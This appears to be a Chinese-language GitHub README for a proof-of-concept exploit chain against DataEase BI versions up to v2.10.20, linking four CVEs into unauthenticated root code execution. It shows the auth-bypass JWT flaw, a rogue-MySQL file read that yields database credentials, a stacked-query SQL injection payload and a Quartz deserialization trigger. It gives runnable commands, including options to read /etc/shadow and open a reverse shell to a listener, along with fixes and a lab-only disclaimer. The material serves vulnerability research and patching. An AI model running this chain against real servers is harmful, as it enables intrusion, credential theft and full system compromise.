joaovicdev/EXPLOIT-CVE-2026-40901

GitHub: joaovicdev/EXPLOIT-CVE-2026-40901

该项目是一个安全漏洞 PoC,通过组合四个 CVE 漏洞链式利用,实现了对 DataEase BI 平台的未授权远程代码执行。

Stars: 0 | Forks: 0

# DataEase — 通过 4 个漏洞组合实现未授权 RCE (CVE-2026-40901 等) [DataEase](https://github.com/dataease/dataease) 是一款流行的开源 BI / 数据可视化平台 (Java / Spring Boot)。版本 **≤ v2.10.20** 受到一条由四个漏洞组成的攻击链影响,这些漏洞组合在一起可以将网络可达的 DataEase 转化为远程代码执行: | # | CVE | 类型 | 作用 | |---|-----|-------|------------------| | 1 | **CVE-2026-23958** | 认证绕过 (CWE-287/CWE-347) | 作为 `admin` 身份执行 — 无需有效签名 | | 2 | **CVE-2026-40899** | JDBC 黑名单绕过 (CWE-20) | 任意文件读取 → 窃取后端数据库凭证 | | 3 | **CVE-2026-40900** | SQL 注入 / 堆叠查询 (CWE-89) | 写入 DataEase 自身的数据库 | | 4 | **CVE-2026-40901** | **Java 反序列化** (CWE-502) | 通过 Quartz 任务存储实现以 **root 权限执行 RCE** | ## 概述 ``` # 1. 启动一个存在漏洞的 DataEase v2.10.20 + MySQL docker compose up -d # 等待直到 http://localhost:8100/de2api/dekey 返回 200 (Flyway migration 约需 20s) # 2. 触发利用链 python3 exploit/de_rce_chain.py # 3. 几秒钟后,确认以 root 身份执行代码 docker exec dataease cat /tmp/pwned_CVE_2026_40901 # uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),... # PWNED_BY_CVE_2026_40901 # Linux 82a2b09d68e9 6.10.14-linuxkit ... aarch64 Linux ``` ## 实验环境搭建 所有环境均通过 Docker 在本地运行。不需要外部服务,也没有互联网目标。 ``` docker-compose.yml vulnerable DataEase v2.10.20 + MySQL 8.4 conf/application-standalone.yml repoints the DB at the local mysql-de mysql/ my.cnf + init.sql (creates the empty `dataease` DB) exploit/ the PoC ``` 启动环境: ``` docker compose up -d # 等待直到 http://localhost:8100/de2api/dekey 返回 200 (Flyway migration 约需 20s) ``` * Web UI / API: `http://localhost:8100` (API 前缀为 `/de2api`) * DataEase 内置的默认凭证:`admin` / `DataEase@123456` * DataEase JVM 在其容器内以 **root** 用户身份运行 — 因此我们获取的 shell 也是 root 权限。 宿主机环境要求:Docker、带有 `cryptography` 的 Python 3.8+ (`pip install -r exploit/requirements.txt`),以及 Docker CLI(用于在一个一次性的 `eclipse-temurin:8-jre` 容器中运行 `ysoserial` 来构建利用工具)。 ## 漏洞利用链,逐步解析 ### 1. CVE-2026-23958 — 身份验证绕过 DataEase 在 servlet 过滤器 `TokenFilter` (`sdk/common/.../auth/filter/TokenFilter.java`) 中对请求进行身份验证。它会读取 token 并调用 `TokenUtils.validate()`,最终执行到: ``` // io.dataease.utils.TokenUtils public static TokenUserBO userBOByToken(String token) { DecodedJWT jwt = JWT.decode(token); // <-- decode only, NO signature check Long userId = jwt.getClaim("uid").asLong(); Long oid = jwt.getClaim("oid").asLong(); ... return new TokenUserBO(userId, oid); } ``` `JWT.decode()` **从不验证签名**。它唯一的检查是:token 长度 ≥ 100 个字符,并且携带一个整数类型的 `uid` 声明。因此,*任何* 包含 `"uid": 1` 的 JWT 都会使该请求以内置管理员 (uid 1) 的身份运行。 还有第二个过滤器 (`CommunityTokenFilter`),它*确实*会针对 `X-DE-TOKEN` 请求头验证签名 — 但仅在特定条件下进行,并且签名密钥要么是用户专属的密钥,要么在普通的社区版构建中,是硬编码默认密码 `DataEase@123456` (`SubstituleLoginConfig` → `dataease.default-pwd`) 的 MD5 哈希值。配套的 **分享链接** 路径 (`X-DE-LINK-TOKEN`) 使用硬编码密钥 `link-pwd-fit2cloud` (`LinkTokenUtil.defaultPwd`) 进行签名,并且在修复前,它同样在解码时不进行验证。 **最终结果:** 攻击者可以伪造管理员 token。`de_common.py` 中包含了 `forge_jwt()`,用于生成不带签名的 token;此 PoC 也支持直接使用无处不在的默认凭证登录,从而为后续攻击链获取完全有效的 `X-DE-TOKEN`。 修复方案 (提交 `00c169caa`) 使 `TokenFilter` 会查找真实的按资源分配的密钥,并切实调用 `verifier.verify(...)`。 ### 2. CVE-2026-40899 — JDBC 黑名单绕过 → 任意文件读取 当你添加 MySQL 数据源时,DataEase 会拒绝一组危险的 JDBC 参数。该黑名单存在于一个 **Lombok `@Data`** 字段中: ``` // io.dataease.datasource.type.Mysql (extends DatasourceConfiguration, @Data) private List illegalParameters = Arrays.asList( "maxAllowedPacket","autoDeserialize","queryInterceptors","statementInterceptors", "detectCustomCollations","allowloadlocalinfile","allowUrlInLocalInfile", "allowLoadLocalInfileInPath"); ``` 因为 `@Data` 会自动生成 `setIllegalParameters(...)`,Jackson 会很乐意从攻击者控制的 JSON 中填充该字段。在 (Base64 编码的) `configuration` 数据块中发送 `"illegalParameters": []` 会**在检查黑名单之前将其清空**。随后,我们可以将数据源指向一个**恶意的 MySQL 服务器**,并附带参数 `allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/`,通过 MySQL 的 `LOCAL INFILE` 机制读取 DataEase 主机上的任意文件。 ``` # 终端 A — rogue server,选择任意文件进行窃取 python3 exploit/rogue_mysql.py --port 3307 \ --file /opt/apps/config/application-standalone.yml # 终端 B — 让 DataEase 连接到它 (host.docker.internal 可访问您的主机) python3 exploit/file_read.py --rogue-host host.docker.internal --rogue-port 3307 ``` 结果 — DataEase 将其自身的后端数据库凭证交给了我们: ``` [+] captured '/opt/apps/config/application-standalone.yml' (613 bytes) from client: spring: datasource: url: jdbc:mysql://mysql-de:3306/dataease?... username: root password: Password123@mysql ``` 攻击者正是利用这些凭证,将步骤 3 指向 DataEase 自身的数据库。修复方案 (提交 `16a950f96`) 在所有 `illegalParameters` 字段上添加了 `@JsonIgnore`,使其无法再通过 JSON 进行设置。 ### 3. CVE-2026-40900 — `previewSql` 中的 SQL 注入 (堆叠查询) `POST /de2api/datasetData/previewSql` 接收一个 Base64 编码的 SQL 字符串,并且在**没有任何单语句验证**的情况下,将其包装为子查询: ``` SELECT * FROM ( ) AS `tmp` LIMIT 100 OFFSET 0 ``` 注释虽然会被剥离,但我们可以通过平衡括号并使用 `;` 来执行额外的语句。由于我们控制着数据源,我们可以开启 `allowMultiQueries=true` (在 v2.10.20 版本中不在黑名单中),因此**堆叠查询得以执行**: ``` select 1) AS x; UPDATE QRTZ_JOB_DETAILS SET JOB_DATA=0x WHERE ... ; SELECT * FROM (select 1 ``` 服务器将把其组装成三条真实的语句。将此数据源指向 DataEase *自身* 的数据库 (使用步骤 2 中的凭证) 后,我们就可以向其 Quartz 表中写入数据。修复方案:`15611593b` 将 `allowMultiQueries` 加入了黑名单,并且 `e89059d88` 加固了保存与引擎的执行流程。 ### 4. CVE-2026-40901 — Quartz 反序列化 → RCE DataEase 会安排一个周期性的 **"数据源状态检查"** Quartz 任务: * 调度器 `deSyncJob`,任务 **`Datasource` / `check_status`**,实现类 `io.dataease.job.schedule.CheckDsStatusJob` * cron 表达式 `0 0/6 * * * ? *` (默认:每 **6 分钟**) Quartz 使用了配置为 `useProperties=false` 的 **JDBC 任务存储**,因此每个任务的 `JobDataMap` 会作为**原始的 Java 序列化对象**存储在 `QRTZ_JOB_DETAILS.JOB_DATA` 列中 (你可以观察到:该二进制大对象以序列化的魔术数字 `AC ED 00 05 … org.quartz.JobDataMap` 开头)。当调度器扫描触发器时,它会在 `StdJDBCDelegate.selectJobDetail` 中执行以下操作: ``` Map map = (Map) getObjectFromBlob(rs, "JOB_DATA"); // new ObjectInputStream(...).readObject() ``` DataEase 打包了 **`commons-collections-3.2.1.jar`** (以及 `velocity-1.7.jar`) — 这是经典的反序列化利用工具来源。利用步骤 3,我们用 **`ysoserial CommonsCollections6`** 载荷覆盖 `JOB_DATA` (并在同一个堆叠查询中,将触发器的 `NEXT_FIRE_TIME` 提前至*当前时间*,这样我们就无需等待那 6 分钟的 cron 周期)。在下一次调度器扫描时,`readObject()` 就会触发利用链 (`LazyMap` → `InvokerTransformer` → `Runtime.exec`),我们的命令就会执行 — 以容器内的 `root` 身份。修复方案集合 (`e05bda764`, …) 移除了存在漏洞的 Velocity 依赖以及该触发点的可达性。 PoC 会为你自动生成利用工具 (采用兼容 busybox 的命令包装形式 — 目标 shell 是 Alpine 的 `ash` 且 `Runtime.exec` 无法获取 shell,因此我们使用 `sh -c echo${IFS}|base64${IFS}-d|sh`)。 ## 运行 PoC ``` pip install -r exploit/requirements.txt # 完整利用链 (默认:在 container 内写入一个 id/uname 验证文件) python3 exploit/de_rce_chain.py # 任意命令 python3 exploit/de_rce_chain.py --cmd 'cat /etc/shadow' # reverse shell (请先启动 `nc -lvnp 4444`) python3 exploit/de_rce_chain.py --revshell host.docker.internal 4444 # 验证代码执行 docker exec dataease cat /tmp/pwned_CVE_2026_40901 ``` 在多次运行之间重置被污染的 Quartz 任务 (可选): ``` exploit/reset_quartz.sh ``` ### 文件说明 | 路径 | 用途 | |------|---------| | `exploit/de_common.py` | HTTP 客户端:/dekey RSA 恢复、登录、JWT 伪造、数据源 + previewSql 漏洞利用 | | `exploit/de_rce_chain.py`| 端到端的 认证绕过 → SQLi → Quartz 反序列化 RCE 攻击链 | | `exploit/rogue_mysql.py` | 用于 CVE-2026-40899 的最小化恶意 MySQL 服务器 (通过 LOCAL INFILE 读取文件) | | `exploit/file_read.py` | 驱动针对恶意服务器的 CVE-2026-40899 漏洞利用 | | `exploit/reset_quartz.sh`| 在运行后恢复干净的 Quartz 任务 | ## 为什么该漏洞如此“重量级” * **Java 反序列化** 是一种经久不衰的漏洞类型 — 在这里是通过一种不同寻常的触发点 (Quartz 的 JDBC 任务存储 BLOB) 访问到的,而不是常规的 HTTP body。 * 这是一个真正的**四漏洞利用链**:每个环节单看都比较普通,但组合起来却能实现从*未授权的网络访问*到* root 权限的 RCE*。 * 所有组件均是**开源且可自托管的**,因此整个过程完全可以在带有 Docker 的笔记本电脑上复现 — 这正是你撰写漏洞分析文章时所期望的。 ## 修复方案 * **升级至 DataEase ≥ v2.10.21 版本。** * 立即轮换默认的 `admin` 密码 (`DataEase@123456`)。 * 不要将 DataEase 直接暴露给不受信任的网络。 * 针对触发点的深度防御:在运行 Quartz 时配置 `useProperties=true`,应用 JVM 反序列化过滤器 (`-Djdk.serialFilter=…`),并将 `commons-collections:3.2.1` / `velocity:1.7` 从 classpath 中移除。 ## 免责声明 仅供教育及**授权**测试使用。该实验环境针对的是由你自己运行的容器。请勿将其用于你不拥有的系统,或你没有获得明确书面测试授权的系统。 ## 参考 * OX Security — *From Auth Bypass to RCE: A 4-Vulnerability Exploit Chain in DataEase* * NVD / 厂商公告 — CVE-2026-40901, CVE-2026-40900, CVE-2026-40899, CVE-2026-23958 * 修复提交:`00c169caa`, `16a950f96`, `15611593b`, `e89059d88`, `e05bda764` (DataEase `v2.10.20..v2.10.21`)
标签:CISA项目, Docker靶场, Java反序列化, JS文件枚举, PoC, 暴力破解, 编程工具, 请求拦截, 远程代码执行, 逆向工具